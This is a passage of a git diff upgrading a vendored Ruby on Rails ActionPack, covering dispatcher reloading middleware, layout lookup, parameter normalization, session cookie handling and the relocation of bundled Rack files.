a/vendor/rails/actionpack/lib/action_controller/cookies.rb +++ b/vendor/rails/actionpack/lib/action_controller/cookies.rb @@ -41,7 +41,7 @@ module ActionController #:nodoc: # * :expires - The time at which this cookie expires, as a Time object. # * :secure - Whether this cookie is a only transmitted to HTTPS servers. # Default is +false+. - # * :http_only - Whether this cookie is accessible via scripting or + # * :httponly - Whether this cookie is accessible via scripting or # only HTTP. Defaults to +false+. module Cookies def self.included(base) diff --git a/vendor/rails/actionpack/lib/action_controller/dispatcher.rb b/vendor/rails/actionpack/lib/action_controller/dispatcher.rb index 781bc488..07931e4a 100644 --- a/vendor/rails/actionpack/lib/action_controller/dispatcher.rb +++ b/vendor/rails/actionpack/lib/action_controller/dispatcher.rb @@ -5,15 +5,14 @@ module ActionController class << self def define_dispatcher_callbacks(cache_classes) unless cache_classes - # Development mode callbacks - before_dispatch :reload_application - after_dispatch :cleanup_application + unless self.middleware.include?(Reloader) + self.middleware.insert_after(Failsafe, Reloader) + end ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false end if defined?(ActiveRecord) - after_dispatch :checkin_connections to_prepare(:activerecord_instantiate_observers) { ActiveRecord::Base.instantiate_observers } end @@ -42,6 +41,30 @@ module ActionController callback = ActiveSupport::Callbacks::Callback.new(:prepare_dispatch, block, :identifier => identifier) @prepare_dispatch_callbacks.replace_or_append!(callback) end + + def run_prepare_callbacks + if defined?(Rails) && Rails.logger + logger = Rails.logger + else + logger = Logger.new($stderr) + end + + new(logger).send :run_callbacks, :prepare_dispatch + end + + def reload_application + # Run prepare callbacks before every request in development mode + run_prepare_callbacks + + Routing::Routes.reload + end + + def cleanup_application + # Cleanup the application before processing the current request. + ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord) + ActiveSupport::Dependencies.clear + ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord) + end end cattr_accessor :middleware @@ -88,29 +111,8 @@ module ActionController dispatch end - def reload_application - # Run prepare callbacks before every request in development mode - run_callbacks :prepare_dispatch - - Routing::Routes.reload - end - - # Cleanup the application by clearing out loaded classes so they can - # be reloaded on the next request without restarting the server. - def cleanup_application - ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord) - ActiveSupport::Dependencies.clear - ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord) - end - def flush_logger Base.logger.flush end - - def checkin_connections - # Don't return connection (and peform implicit rollback) if this request is a part of integration test - return if @env.key?("rack.test") - ActiveRecord::Base.clear_active_connections! - end end end diff --git a/vendor/rails/actionpack/lib/action_controller/http_authentication.rb b/vendor/rails/actionpack/lib/action_controller/http_authentication.rb index 5d915fda..2ccbc224 100644 --- a/vendor/rails/actionpack/lib/action_controller/http_authentication.rb +++ b/vendor/rails/actionpack/lib/action_controller/http_authentication.rb @@ -183,7 +183,7 @@ module ActionController if valid_nonce && realm == credentials[:realm] && opaque(request.session.session_id) == credentials[:opaque] password = password_procedure.call(credentials[:username]) - expected = expected_response(request.env['REQUEST_METHOD'], request.url, credentials, password) + expected = expected_response(request.env['REQUEST_METHOD'], credentials[:uri], credentials, password) expected == credentials[:response] end end diff --git a/vendor/rails/actionpack/lib/action_controller/integration.rb b/vendor/rails/actionpack/lib/action_controller/integration.rb index a0e89410..1c05ab0b 100644 --- a/vendor/rails/actionpack/lib/action_controller/integration.rb +++ b/vendor/rails/actionpack/lib/action_controller/integration.rb @@ -327,7 +327,7 @@ module ActionController @headers = Rack::Utils::HeaderHash.new(headers) - (@headers['Set-Cookie'] || []).each do |cookie| + (@headers['Set-Cookie'] || "").split("\n").each do |cookie| name, value = cookie.match(/^([^=]*)=([^;]*);/)[1,2] @cookies[name] = value end diff --git a/vendor/rails/actionpack/lib/action_controller/layout.rb b/vendor/rails/actionpack/lib/action_controller/layout.rb index 183d56c2..ccd96055 100644 --- a/vendor/rails/actionpack/lib/action_controller/layout.rb +++ b/vendor/rails/actionpack/lib/action_controller/layout.rb @@ -172,23 +172,10 @@ module ActionController #:nodoc: @layout_conditions ||= read_inheritable_attribute(:layout_conditions) end - def default_layout(format) #:nodoc: - layout = read_inheritable_attribute(:layout) - return layout unless read_inheritable_attribute(:auto_layout) - find_layout(layout, format) - end - def layout_list #:nodoc: Array(view_paths).sum([]) { |path| Dir["#{path.to_str}/layouts/**/*"] } end - def find_layout(layout, *formats) #:nodoc: - return layout if layout.respond_to?(:render) - view_paths.find_template(layout.to_s =~ /layouts\// ? layout : "layouts/#{layout}", *formats) - rescue ActionView::MissingTemplate - nil - end - private def inherited_with_layout(child) inherited_without_layout(child) @@ -212,7 +199,8 @@ module ActionController #:nodoc: # object). If the layout was defined without a directory, layouts is assumed. So layout "weblog/standard" will return # weblog/standard, but layout "standard" will return layouts/standard. def active_layout(passed_layout = nil) - layout = passed_layout || self.class.default_layout(default_template_format) + layout = passed_layout || default_layout + return layout if layout.respond_to?(:render) active_layout = case layout when Symbol then __send__(layout) @@ -220,27 +208,22 @@ module ActionController #:nodoc: else layout end - if active_layout - if layout = self.class.find_layout(active_layout, @template.template_format) - layout - else - raise ActionView::MissingTemplate.new(self.class.view_paths, active_layout) - end - end + find_layout(active_layout, default_template_format) if active_layout end private - def candidate_for_layout?(options) - template = options[:template] || default_template(options[:action]) - if options.values_at(:text, :xml, :json, :file, :inline, :partial, :nothing, :update).compact.empty? - begin - !self.view_paths.find_template(template, default_template_format).exempt_from_layout? - rescue ActionView::MissingTemplate - true - end - end + def default_layout #:nodoc: + layout = self.class.read_inheritable_attribute(:layout) + return layout unless self.class.read_inheritable_attribute(:auto_layout) + find_layout(layout, default_template_format) rescue ActionView::MissingTemplate - false + nil + end + + def find_layout(layout, format) #:nodoc: + view_paths.find_template(layout.to_s =~ /layouts\// ? layout : "layouts/#{layout}", format, false) + rescue ActionView::MissingTemplate + raise if Mime::Type.lookup_by_extension(format.to_s).html? end def pick_layout(options) @@ -273,8 +256,26 @@ module ActionController #:nodoc: end end + def candidate_for_layout?(options) + template = options[:template] || default_template(options[:action]) + if options.values_at(:text, :xml, :json, :file, :inline, :partial, :nothing, :update).compact.empty? + begin + template_object = self.view_paths.find_template(template, default_template_format) + # this restores the behavior from 2.2.2, where response.template.template_format was reset + # to :html for :js requests with a matching html template. + # see v2.2.2, ActionView::Base, lines 328-330 + @real_format = :html if response.template.template_format == :js && template_object.format == "html" + !template_object.exempt_from_layout? + rescue ActionView::MissingTemplate + true + end + end + rescue ActionView::MissingTemplate + false + end + def default_template_format - response.template.template_format + @real_format || response.template.template_format end end end diff --git a/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb b/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb index dbc2fda4..b739a6d7 100644 --- a/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb +++ b/vendor/rails/actionpack/lib/action_controller/middleware_stack.rb @@ -27,7 +27,9 @@ module ActionController end def klass - if @klass.is_a?(Class) + if @klass.respond_to?(:call) + @klass.call + elsif @klass.is_a?(Class) @klass else @klass.to_s.constantize @@ -37,6 +39,8 @@ module ActionController end def active? + return false unless klass + if @conditional.respond_to?(:call) @conditional.call else @@ -63,11 +67,17 @@ module ActionController def build(app) if block - klass.new(app, *args, &block) + klass.new(app, *build_args, &block) else - klass.new(app, *args) + klass.new(app, *build_args) end end + + private + + def build_args + Array(args).map { |arg| arg.respond_to?(:call) ? arg.call : arg } + end end def initialize(*args, &block) diff --git a/vendor/rails/actionpack/lib/action_controller/middlewares.rb b/vendor/rails/actionpack/lib/action_controller/middlewares.rb index 8ea1b5c7..371cf6d8 100644 --- a/vendor/rails/actionpack/lib/action_controller/middlewares.rb +++ b/vendor/rails/actionpack/lib/action_controller/middlewares.rb @@ -4,17 +4,8 @@ use "Rack::Lock", :if => lambda { use "ActionController::Failsafe" -["ActionController::Session::CookieStore", - "ActionController::Session::MemCacheStore", - "ActiveRecord::SessionStore"].each do |store| - use(store, ActionController::Base.session_options, - :if => lambda { - if session_store = ActionController::Base.session_store - session_store.name == store - end - } - ) -end +use lambda { ActionController::Base.session_store }, + lambda { ActionController::Base.session_options } use "ActionController::RewindableInput" use "ActionController::ParamsParser" diff --git a/vendor/rails/actionpack/lib/action_controller/rack_ext.rb b/vendor/rails/actionpack/lib/action_controller/rack_ext.rb deleted file mode 100644 index 2ba6654e..00000000 --- a/vendor/rails/actionpack/lib/action_controller/rack_ext.rb +++ /dev/null @@ -1,3 +0,0 @@ -require 'action_controller/rack_ext/lock' -require 'action_controller/rack_ext/multipart' -require 'action_controller/rack_ext/parse_query' diff --git a/vendor/rails/actionpack/lib/action_controller/rack_ext/lock.rb b/vendor/rails/actionpack/lib/action_controller/rack_ext/lock.rb deleted file mode 100644 index 9bf18890..00000000 --- a/vendor/rails/actionpack/lib/action_controller/rack_ext/lock.rb +++ /dev/null @@ -1,21 +0,0 @@ -module Rack - # Rack::Lock was commited to Rack core - # http://github.com/rack/rack/commit/7409b0c - # Remove this when Rack 1.0 is released - unless defined? Lock - class Lock - FLAG = 'rack.multithread'.freeze - - def initialize(app, lock = Mutex.new) - @app, @lock = app, lock - end - - def call(env) - old, env[FLAG] = env[FLAG], false - @lock.synchronize { @app.call(env) } - ensure - env[FLAG] = old - end - end - end -end diff --git a/vendor/rails/actionpack/lib/action_controller/rack_ext/multipart.rb b/vendor/rails/actionpack/lib/action_controller/rack_ext/multipart.rb deleted file mode 100644 index 3b142307..00000000 --- a/vendor/rails/actionpack/lib/action_controller/rack_ext/multipart.rb +++ /dev/null @@ -1,22 +0,0 @@ -module Rack - module Utils - module Multipart - class << self - def parse_multipart_with_rewind(env) - result = parse_multipart_without_rewind(env) - - begin - env['rack.input'].rewind if env['rack.input'].respond_to?(:rewind) - rescue Errno::ESPIPE - # Handles exceptions raised by input streams that cannot be rewound - # such as when using plain CGI under Apache - end - - result - end - - alias_method_chain :parse_multipart, :rewind - end - end - end -end diff --git a/vendor/rails/actionpack/lib/action_controller/rack_ext/parse_query.rb b/vendor/rails/actionpack/lib/action_controller/rack_ext/parse_query.rb deleted file mode 100644 index b1acef8e..00000000 --- a/vendor/rails/actionpack/lib/action_controller/rack_ext/parse_query.rb +++ /dev/null @@ -1,17 +0,0 @@ -# Rack does not automatically cleanup Safari 2 AJAX POST body -# This has not yet been commited to Rack, please +1 this ticket: -# http://rack.lighthouseapp.com/projects/22435/tickets/19 - -module Rack - module Utils - alias_method :parse_query_without_ajax_body_cleanup, :parse_query - module_function :parse_query_without_ajax_body_cleanup - - def parse_query(qs, d = '&;') - qs = qs.dup - qs.chop! if qs[-1] == 0 - parse_query_without_ajax_body_cleanup(qs, d) - end - module_function :parse_query - end -end diff --git a/vendor/rails/actionpack/lib/action_controller/reloader.rb b/vendor/rails/actionpack/lib/action_controller/reloader.rb new file mode 100644 index 00000000..46789309 --- /dev/null +++ b/vendor/rails/actionpack/lib/action_controller/reloader.rb @@ -0,0 +1,14 @@ +module ActionController + class Reloader + def initialize(app) + @app = app + end + + def call(env) + Dispatcher.reload_application + @app.call(env) + ensure + Dispatcher.cleanup_application + end + end +end diff --git a/vendor/rails/actionpack/lib/action_controller/request.rb b/vendor/rails/actionpack/lib/action_controller/request.rb index 935326c3..2cabab9e 100755 --- a/vendor/rails/actionpack/lib/action_controller/request.rb +++ b/vendor/rails/actionpack/lib/action_controller/request.rb @@ -32,7 +32,7 @@ module ActionController # :get. If the request \method is not listed in the HTTP_METHODS # constant above, an UnknownHttpMethod exception is raised. def request_method - @request_method ||= HTTP_METHOD_LOOKUP[super] || raise(UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence}") + @request_method ||= HTTP_METHOD_LOOKUP[super] || raise(UnknownHttpMethod, "#{super}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}") end # Returns the HTTP request \method used for action processing as a @@ -417,15 +417,15 @@ EOM FORM_DATA_MEDIA_TYPES.include?(content_type.to_s) end - # Override Rack's GET method to support nested query strings + # Override Rack's GET method to support indifferent access def GET - @env["action_controller.request.query_parameters"] ||= UrlEncodedPairParser.parse_query_parameters(query_string) + @env["action_controller.request.query_parameters"] ||= normalize_parameters(super) end alias_method :query_parameters, :GET - # Override Rack's POST method to support nested query strings + # Override Rack's POST method to support indifferent access def POST - @env["action_controller.request.request_parameters"] ||= UrlEncodedPairParser.parse_hash_parameters(super) + @env["action_controller.request.request_parameters"] ||= normalize_parameters(super) end alias_method :request_parameters, :POST @@ -461,5 +461,28 @@ EOM def named_host?(host) !(host.nil? || /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.match(host)) end + + # Convert nested Hashs to HashWithIndifferentAccess and replace + # file upload hashs with UploadedFile objects + def normalize_parameters(value) + case value + when Hash + if value.has_key?(:tempfile) + upload = value[:tempfile] + upload.extend(UploadedFile) + upload.original_path = value[:filename] + upload.content_type = value[:type] + upload + else + h = {} + value.each { |k, v| h[k] = normalize_parameters(v) } + h.with_indifferent_access + end + when Array + value.map { |e| normalize_parameters(e) } + else + value + end + end end end diff --git a/vendor/rails/actionpack/lib/action_controller/rescue.rb b/vendor/rails/actionpack/lib/action_controller/rescue.rb index ec61715b..242c8da9 100644 --- a/vendor/rails/actionpack/lib/action_controller/rescue.rb +++ b/vendor/rails/actionpack/lib/action_controller/rescue.rb @@ -38,7 +38,7 @@ module ActionController #:nodoc: 'ActionView::TemplateError' => 'template_error' } - RESCUES_TEMPLATE_PATH = ActionView::Template::EagerPath.new( + RESCUES_TEMPLATE_PATH = ActionView::Template::EagerPath.new_and_loaded( File.join(File.dirname(__FILE__), "templates")) def self.included(base) #:nodoc: diff --git a/vendor/rails/actionpack/lib/action_controller/response.rb b/vendor/rails/actionpack/lib/action_controller/response.rb index 5138717b..ccff473d 100644 --- a/vendor/rails/actionpack/lib/action_controller/response.rb +++ b/vendor/rails/actionpack/lib/action_controller/response.rb @@ -41,7 +41,7 @@ module ActionController # :nodoc: def initialize @status = 200 - @header = DEFAULT_HEADERS.dup + @header = Rack::Utils::HeaderHash.new(DEFAULT_HEADERS) @writer = lambda { |x| @body << x } @block = nil @@ -166,33 +166,15 @@ module ActionController # :nodoc: str end - # Over Rack::Response#set_cookie to add HttpOnly option def set_cookie(key, value) - case value - when Hash - domain = "; domain=" + value[:domain] if value[:domain] - path = "; path=" + value[:path] if value[:path] - # According to RFC 2109, we need dashes here. - # N.B.: cgi.rb uses spaces... - expires = "; expires=" + value[:expires].clone.gmtime. - strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires] - secure = "; secure" if value[:secure] - httponly = "; HttpOnly" if value[:http_only] - value = value[:value] + if value.has_key?(:http_only) + ActiveSupport::Deprecation.warn( + "The :http_only option in ActionController::Response#set_cookie " + + "has been renamed. Please use :httponly instead.", caller) + value[:httponly] ||= value.delete(:http_only) end - value = [value] unless Array === value - cookie = ::Rack::Utils.escape(key) + "=" + - value.map { |v| ::Rack::Utils.escape v }.join("&") + - "#{domain}#{path}#{expires}#{secure}#{httponly}" - case self["Set-Cookie"] - when Array - self["Set-Cookie"] << cookie - when String - self["Set-Cookie"] = [self["Set-Cookie"], cookie] - when nil - self["Set-Cookie"] = cookie - end + super(key, value) end private @@ -235,7 +217,7 @@ module ActionController # :nodoc: elsif length = headers['Content-Length'] headers['Content-Length'] = length.to_s elsif !body.respond_to?(:call) && (!status || status.to_s[0..2] != '304') - headers["Content-Length"] = body.size.to_s + headers["Content-Length"] = (body.respond_to?(:bytesize) ? body.bytesize : body.size).to_s end end diff --git a/vendor/rails/actionpack/lib/action_controller/routing/segments.rb b/vendor/rails/actionpack/lib/action_controller/routing/segments.rb index abb9bff8..97375b1a 100644 --- a/vendor/rails/actionpack/lib/action_controller/routing/segments.rb +++ b/vendor/rails/actionpack/lib/action_controller/routing/segments.rb @@ -3,7 +3,11 @@ module ActionController class Segment #:nodoc: RESERVED_PCHAR = ':@&=+$,;' SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}" - UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze + if RUBY_VERSION >= '1.9' + UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false).freeze + else + UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze + end # TODO: Convert :is_optional accessor to read only attr_accessor :is_optional @@ -191,23 +195,19 @@ module ActionController end def regexp_chunk - if regexp - if regexp_has_modifiers? - "(#{regexp.to_s})" - else - "(#{regexp.source})" - end - else - "([^#{Routing::SEPARATORS.join}]+)" - end + regexp ? regexp_string : default_regexp_chunk + end + + def regexp_string + regexp_has_modifiers? ? "(#{regexp.to_s})" : "(#{regexp.source})" + end + + def default_regexp_chunk + "([^#{Routing::SEPARATORS.join}]+)" end def number_of_captures - if regexp - regexp.number_of_captures + 1 - else - 1 - end + regexp ? regexp.number_of_captures + 1 : 1 end def build_pattern(pattern) @@ -244,15 +244,10 @@ module ActionController "(?i-:(#{(regexp || Regexp.union(*possible_names)).source}))" end - def number_of_captures - 1 - end - # Don't URI.escape the controller name since it may contain slashes. def interpolation_chunk(value_code = local_name) "\#{#{value_code}.to_s}" end - # Make sure controller names like Admin/Content are correctly normalized to # admin/content def extract_value @@ -274,7 +269,7 @@ module ActionController end def extract_value - "#{local_name} = hash[:#{key}] && Array(hash[:#{key}]).collect { |path_component| CGI.escape(path_component.to_param) }.to_param #{"|| #{default.inspect}" if default}" + "#{local_name} = hash[:#{key}] && Array(hash[:#{key}]).collect { |path_component| CGI.escape(path_component.to_param, ActionController::Routing::Segment::UNSAFE_PCHAR) }.to_param #{"|| #{default.inspect}" if default}" end def default @@ -289,8 +284,8 @@ module ActionController "params[:#{key}] = PathSegment::Result.new_escaped((match[#{next_capture}]#{" || " + default.inspect if default}).split('/'))#{" if match[" + next_capture + "]" if !default}" end - def regexp_chunk - regexp || "(.*)" + def default_regexp_chunk + "(.*)" end def number_of_captures diff --git a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb index 9434c2e0..f6369abf 100644 --- a/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb +++ b/vendor/rails/actionpack/lib/action_controller/session/abstract_store.rb @@ -17,16 +17,11 @@ module ActionController @loaded = false end - def id - load! unless @loaded - @id - end - def session_id ActiveSupport::Deprecation.warn( - "ActionController::Session::AbstractStore::SessionHash#session_id" + - "has been deprecated.Please use #id instead.", caller) - id + "ActionController::Session::AbstractStore::SessionHash#session_id " + + "has been deprecated. Please use request.session_options[:id] instead.", caller) + @env[ENV_SESSION_OPTIONS_KEY][:id] end def [](key) @@ -47,20 +42,45 @@ module ActionController def data ActiveSupport::Deprecation.warn( - "ActionController::Session::AbstractStore::SessionHash#data" + - "has been deprecated.Please use #to_hash instead.", caller) + "ActionController::Session::AbstractStore::SessionHash#data " + + "has been deprecated. Please use #to_hash instead.", caller) to_hash end + def inspect + load! unless @loaded + super + end + private def loaded? @loaded end def load! - @id, session = @by.send(:load_session, @env) - replace(session) - @loaded = true + stale_session_check! do + id, session = @by.send(:load_session, @env) + (@env[ENV_SESSION_OPTIONS_KEY] ||= {})[:id] = id + replace(session) + @loaded = true + end + end + + def stale_session_check! + yield + rescue ArgumentError => argument_error + if argument_error.message =~ %r{undefined class/module ([\w:]*\w)} + begin + # Note that the regexp does not allow $1 to end with a ':' + $1.constantize + rescue LoadError, NameError => const_error + raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\\'t available.\nRemember to require the classes for all objects kept in the session.\n(Original exception: \#{const_error.message} [\#{const_error.class}])\n" + end + + retry + else + raise + end end end @@ -107,11 +127,7 @@ module ActionController if !session_data.is_a?(AbstractStore::SessionHash) || session_data.send(:loaded?) || options[:expire_after] session_data.send(:load!) if session_data.is_a?(AbstractStore::SessionHash) && !session_data.send(:loaded?) - if session_data.is_a?(AbstractStore::SessionHash) - sid = session_data.id - else - sid = generate_sid - end + sid = options[:id] || generate_sid unless set_session(env, sid, session_data.to_hash) return response @@ -128,12 +144,9 @@ module ActionController cookie << "; HttpOnly" if options[:httponly] headers = response[1] - case a = headers[SET_COOKIE] - when Array - a << cookie - when String - headers[SET_COOKIE] = [a, cookie] - when nil + unless headers[SET_COOKIE].blank? + headers[SET_COOKIE] << "\n#{cookie}" + else headers[SET_COOKIE] = cookie end end diff --git a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb index 5a728d18..a2543c18 100644 --- a/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb +++ b/vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb @@ -88,7 +88,7 @@ module ActionController def call(env) env[ENV_SESSION_KEY] = AbstractStore::SessionHash.new(self, env) - env[ENV_SESSION_OPTIONS_KEY] = @default_options + env[ENV_SESSION_OPTIONS_KEY] = @default_options.dup status, headers, body = @app.call(env) @@ -108,12 +108,9 @@ module ActionController end cookie = build_cookie(@key, cookie.merge(options)) - case headers[HTTP_SET_COOKIE] - when Array - headers[HTTP_SET_COOKIE] << cookie - when String - headers[HTTP_SET_COOKIE] = [headers[HTTP_SET_COOKIE], cookie] - when nil + unless headers[HTTP_SET_COOKIE].blank? + headers[HTTP_SET_COOKIE] << "\n#{cookie}" + else headers[HTTP_SET_COOKIE] = cookie end end @@ -133,7 +130,7 @@ module ActionController expires = "; expires=" + value[:expires].clone.gmtime. strftime("%a, %d-%b-%Y %H:%M:%S GMT") if value[:expires] secure = "; secure" if value[:secure] - httponly = "; httponly" if value[:httponly] + httponly = "; HttpOnly" if value[:httponly] value = value[:value] end value = [value] unless Array === value diff --git a/vendor/rails/actionpack/lib/action_controller/streaming.rb b/vendor/rails/actionpack/lib/action_controller/streaming.rb index e1786913..9f80f48c 100644 --- a/vendor/rails/actionpack/lib/action_controller/streaming.rb +++ b/vendor/rails/actionpack/lib/action_controller/streaming.rb @@ -1,5 +1,6 @@ module ActionController #:nodoc: - # Methods for sending files and streams to the browser instead of rendering. + # Methods for sending arbitrary data and for streaming files to the browser, + # instead of rendering. module Streaming DEFAULT_SEND_FILE_OPTIONS = { :type => 'application/octet-stream'.freeze, @@ -103,8 +104,11 @@ module ActionController #:nodoc: end end - # Send binary data to the user as a file download. May set content type, apparent file name, - # and specify whether to show data inline or download as an attachment. + # Sends the given binary data to the browser. This method is similar to + # render :text => data, but also allows you to specify whether + # the browser should display the response as a file attachment (i.e. in a + # download dialog) or as inline data. You may also set the content type, + # the apparent file name, and other things. # # Options: # * :filename - suggests a filename for the browser to use. @@ -127,6 +131,10 @@ module ActionController #:nodoc: # send_data image.data, :type => image.content_type, :disposition => 'inline' # # See +send_file+ for more information on HTTP Content-* headers and caching. + # + # Tip: if you want to stream large amounts of on-the-fly generated + # data to the browser, then use render :text => proc { ... } + # instead. See ActionController::Base#render for more information. def send_data(data, options = {}) #:doc: logger.info "Sending data #{options[:filename]}" if logger send_file_headers! options.merge(:length => data.size) @@ -152,7 +160,7 @@ module ActionController #:nodoc: end content_type = content_type.to_s.strip # fixes a problem with extra '\r' with some browsers - headers.update( + headers.merge!( 'Content-Length' => options[:length], 'Content-Type' => content_type, 'Content-Disposition' => disposition, diff --git a/vendor/rails/actionpack/lib/action_controller/test_case.rb b/vendor/rails/actionpack/lib/action_controller/test_case.rb index 0b0d0c79..d2059d51 100644 --- a/vendor/rails/actionpack/lib/action_controller/test_case.rb +++ b/vendor/rails/actionpack/lib/action_controller/test_case.rb @@ -127,9 +127,14 @@ module ActionController # # The exception is stored in the exception accessor for further inspection. module RaiseActionExceptions - protected - attr_accessor :exception + def self.included(base) + base.class_eval do + attr_accessor :exception + protected :exception, :exception= + end + end + protected def rescue_action_without_handler(e) self.exception = e diff --git a/vendor/rails/actionpack/lib/action_controller/test_process.rb b/vendor/rails/actionpack/lib/action_controller/test_process.rb index 4b5fc3a3..dbaec00b 100644 --- a/vendor/rails/actionpack/lib/action_controller/test_process.rb +++ b/vendor/rails/actionpack/lib/action_controller/test_process.rb @@ -4,8 +4,12 @@ module ActionController #:nodoc: attr_accessor :query_parameters, :path, :session attr_accessor :host - def initialize - super(Rack::MockRequest.env_for("/")) + def self.new(env = {}) + super + end + + def initialize(env = {}) + super(Rack::MockRequest.env_for("/").merge(env)) @query_parameters = {} @session = TestSession.new diff --git a/vendor/rails/actionpack/lib/action_controller/url_encoded_pair_parser.rb b/vendor/rails/actionpack/lib/action_controller/url_encoded_pair_parser.rb deleted file mode 100644 index b17b8a31..00000000 --- a/vendor/rails/actionpack/lib/action_controller/url_encoded_pair_parser.rb +++ /dev/null @@ -1,155 +0,0 @@ -module ActionController - class UrlEncodedPairParser < StringScanner #:nodoc: - class << self - def parse_query_parameters(query_string) - return {} if query_string.blank? - - pairs = query_string.split('&').collect do |chunk| - next if chunk.empty? - key, value = chunk.split('=', 2) - next if key.empty? - value = value.nil? ? nil : CGI.unescape(value) - [ CGI.unescape(key), value ] - end.compact - - new(pairs).result - end - - def parse_hash_parameters(params) - parser = new - - params = params.dup - until params.empty? - for key, value in params - if key.blank? - params.delete(key) - elsif value.is_a?(Array) - parser.parse(key, get_typed_value(value.shift)) - params.delete(key) if value.empty? - else - parser.parse(key, get_typed_value(value)) - params.delete(key) - end - end - end - - parser.result - end - - private - def get_typed_value(value) - case value - when String - value - when NilClass - '' - when Array - value.map { |v| get_typed_value(v) } - when Hash - if value.has_key?(:tempfile) && !value[:filename].blank? - upload = value[:tempfile] - upload.extend(UploadedFile) - upload.original_path = value[:filename] - upload.content_type = value[:type] - upload - else - nil - end - else - raise "Unknown form value: #{value.inspect}" - end - end - end - - attr_reader :top, :parent, :result - - def initialize(pairs = []) - super('') - @result = {} - pairs.each { |key, value| parse(key, value) } - end - - KEY_REGEXP = %r{([^\[\]=&]+)} - BRACKETED_KEY_REGEXP = %r{\[([^\[\]=&]+)\]} - - # Parse the query string - def parse(key, value) - self.string = key - @top, @parent = result, nil - - # First scan the bare key - key = scan(KEY_REGEXP) or return - key = post_key_check(key) - - # Then scan as many nestings as present - until eos? - r = scan(BRACKETED_KEY_REGEXP) or return - key = self[1] - key = post_key_check(key) - end - - bind(key, value) - end - - private - # After we see a key, we must look ahead to determine our next action. Cases: - # - # [] follows the key. Then the value must be an array. - # = follows the key. (A value comes next) - # & or the end of string follows the key. Then the key is a flag. - # otherwise, a hash follows the key. - def post_key_check(key) - if scan(/\[\]/) # a[b][] indicates that b is an array - container(key, Array) - nil - elsif check(/\[[^\]]/) # a[b] indicates that a is a hash - container(key, Hash) - nil - else # End of key? We do nothing. - key - end - end - - # Add a container to the stack. - def container(key, klass) - type_conflict! klass, top[key] if top.is_a?(Hash) && top.key?(key) && ! top[key].is_a?(klass) - value = bind(key, klass.new) - type_conflict! klass, value unless value.is_a?(klass) - push(value) - end - - # Push a value onto the 'stack', which is actually only the top 2 items. - def push(value) - @parent, @top = @top, value - end - - # Bind a key (which may be nil for items in an array) to the provided value. - def bind(key, value) - if top.is_a? Array - if key - if top[-1].is_a?(Hash) && ! top[-1].key?(key) - top[-1][key] = value - else - top << {key => value}.with_indifferent_access - end - push top.last - return top[key] - else - top << value - return value - end - elsif top.is_a? Hash - key = CGI.unescape(key) - parent << (@top = {}) if top.key?(key) && parent.is_a?(Array) - top[key] ||= value - return top[key] - else - raise ArgumentError, "Don't know what to do: top is #{top.inspect}" - end - end - - def type_conflict!(klass, value) - raise TypeError, "Conflicting types for parameter containers. Expected an instance of #{klass} but found an instance of #{value.class}. This can be caused by colliding Array and Hash parameters like qs[]=value&qs[key]=value. (The parameters received were #{value.inspect}.)" - end - end -end diff --git a/vendor/plugins/rack/lib/rack.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb similarity index 96% rename from vendor/plugins/rack/lib/rack.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb index 63106383..6c03b555 100644 --- a/vendor/plugins/rack/lib/rack.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack.rb @@ -3,7 +3,7 @@ # Rack is freely distributable under the terms of an MIT-style license. # See COPYING or http://www.opensource.org/licenses/mit-license.php. -$: << File.expand_path(File.dirname(__FILE__)) +$:.unshift(File.expand_path(File.dirname(__FILE__))) # The Rack main module, serving as a namespace for all core Rack @@ -23,7 +23,7 @@ module Rack # Return the Rack release as a dotted string. def self.release - "0.9" + "0.4" end autoload :Builder, "rack/builder" @@ -38,6 +38,7 @@ module Rack autoload :Handler, "rack/handler" autoload :Head, "rack/head" autoload :Lint, "rack/lint" + autoload :Lock, "rack/lock" autoload :MethodOverride, "rack/methodoverride" autoload :Mime, "rack/mime" autoload :Recursive, "rack/recursive" diff --git a/vendor/plugins/rack/lib/rack/adapter/camping.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/adapter/camping.rb similarity index 100% rename from vendor/plugins/rack/lib/rack/adapter/camping.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/adapter/camping.rb diff --git a/vendor/plugins/rack/lib/rack/auth/abstract/handler.rb b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb similarity index 58% rename from vendor/plugins/rack/lib/rack/auth/abstract/handler.rb rename to vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb index b213eac6..8489c9b9 100644 --- a/vendor/plugins/rack/lib/rack/auth/abstract/handler.rb +++ b/vendor/rails/actionpack/lib/action_controller/vendor/rack-1.0/rack/auth/abstract/handler.rb @@ -16,11 +16,20 @@ module Rack private def unauthorized(www_authenticate = challenge) - return [ 401, { 'WWW-Authenticate' => www_authenticate.to_s }, [] ] + return [ 401, + { 'Content-Type' => 